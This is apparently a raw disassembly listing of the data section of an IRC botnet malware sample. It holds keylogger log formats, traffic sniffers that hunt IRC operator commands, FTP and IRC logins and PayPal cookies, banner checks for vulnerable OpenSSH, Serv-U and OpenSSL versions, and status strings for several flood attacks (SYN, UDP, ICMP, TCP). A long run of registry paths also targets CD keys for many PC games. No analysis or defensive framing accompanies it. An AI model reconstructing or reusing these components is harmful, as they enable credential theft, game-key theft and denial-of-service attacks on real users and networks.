		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
dword_43523C	dd 0BCh, 2Ch, 3C000000h, 2 dup(0) ; DATA XREF: ___:off_435DFCo
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43550C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43553C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E00
		dd offset off_435DFC
		dd offset off_435DF8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00435594o
		align 4
off_435DF8	dd offset word_505446	; DATA XREF: ___:00435590o
off_435DFC	dd offset dword_43523C+0Dh ; DATA XREF:	___:0043558Co
off_435E00	dd offset word_544F42	; DATA XREF: ___:00435588o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436074	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360AC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360E4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436118	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43614C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436180	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361B0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436204	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43642C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43681C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436830	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436868	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43687C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_436890	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368DC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368E8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A6Ch, 437A60h,	437A50h, 2 dup(0)
		dd 80000001h, 437A30h, 437A2Ch,	437A18h, 2 dup(0)
		dd 80000001h, 4379F4h, 437A2Ch,	4379E8h, 2 dup(0)
		dd 80000001h, 4379C4h, 4379BCh,	4379A8h, 2 dup(0)
		dd 80000001h, 437994h, 437984h,	437968h, 2 dup(0)
		dd 80000001h, 437924h, 437AACh,	437910h, 2 dup(0)
		dd 80000002h, 4378E4h, 4378D8h,	4378B8h, 2 dup(0)
		dd 80000002h, 437884h, 437AACh,	43786Ch, 2 dup(0)
		dd 80000002h, 437838h, 437AACh,	437820h, 2 dup(0)
		dd 80000002h, 437808h, 437AACh,	4377F0h, 2 dup(0)
		dd 80000002h, 4377B4h, 43D7F8h,	4377A4h, 2 dup(0)
		dd 80000002h, 43776Ch, 43D7F8h,	437758h, 2 dup(0)
		dd 80000002h, 43770Ch, 43D7F8h,	4376ECh, 2 dup(0)
		dd 80000002h, 43769Ch, 43D7F8h,	437670h, 2 dup(0)
		dd 80000002h, 437634h, 43D7F8h,	437620h, 2 dup(0)
		dd 80000002h, 4375E8h, 43D7F8h,	4375D8h, 2 dup(0)
		dd 80000002h, 437588h, 43D7F8h,	43755Ch, 2 dup(0)
		dd 80000002h, 43751Ch, 43D7F8h,	437500h, 2 dup(0)
		dd 80000002h, 4374D0h, 43D7F8h,	4374B0h, 2 dup(0)
		dd 80000002h, 437474h, 43D7F8h,	437460h, 2 dup(0)
		dd 80000002h, 437418h, 43D7F8h,	4373F8h, 2 dup(0)
		dd 80000002h, 4373A4h, 43D7F8h,	437374h, 2 dup(0)
		dd 80000002h, 437324h, 43D7F8h,	4372F8h, 2 dup(0)
		dd 80000002h, 4372B8h, 4372B0h,	437290h, 2 dup(0)
		dd 80000002h, 43724Ch, 43D7F8h,	437230h, 2 dup(0)
		dd 80000002h, 4371E4h, 43D7F8h,	4371C0h, 2 dup(0)
		dd 80000002h, 43718Ch, 43D7F8h,	437180h, 2 dup(0)
		dd 80000002h, 43714Ch, 43D7F8h,	437140h, 2 dup(0)
		dd 80000002h, 43710Ch, 43D7F8h,	437100h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D7F8h,	4370C0h, 2 dup(0)
		dd 80000002h, 437084h, 43D7F8h,	437070h, 2 dup(0)
		dd 80000002h, 437034h, 43D7F8h,	437020h, 2 dup(0)
		dd 80000002h, 436FF0h, 437AACh,	436FD4h, 2 dup(0)
		dd 80000002h, 436FB4h, 436FACh,	436F88h, 2 dup(0)
		dd 80000002h, 436F6Ch, 436FACh,	436F4Ch, 2 dup(0)
		dd 80000002h, 436F2Ch, 436FACh,	436F08h, 2 dup(0)
		dd 80000002h, 436EF0h, 436FACh,	436EECh, 2 dup(0)
		dd 80000002h, 436ED0h, 436EC0h,	436EB8h, 2 dup(0)
		dd 80000002h, 436E84h, 42C904h,	436E6Ch, 2 dup(0)
		dd 80000002h, 436E30h, 436E24h,	436DFCh, 436DECh, 436DD8h
		dd 80000002h, 436DB4h, 436DA8h,	436D94h, 436D84h, 436D7Ch
		dd 80000002h, 436DB4h, 436DA8h,	436D50h, 436D84h, 436D48h
		dd 80000002h, 436DB4h, 436DA8h,	436D18h, 436D84h, 436D10h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
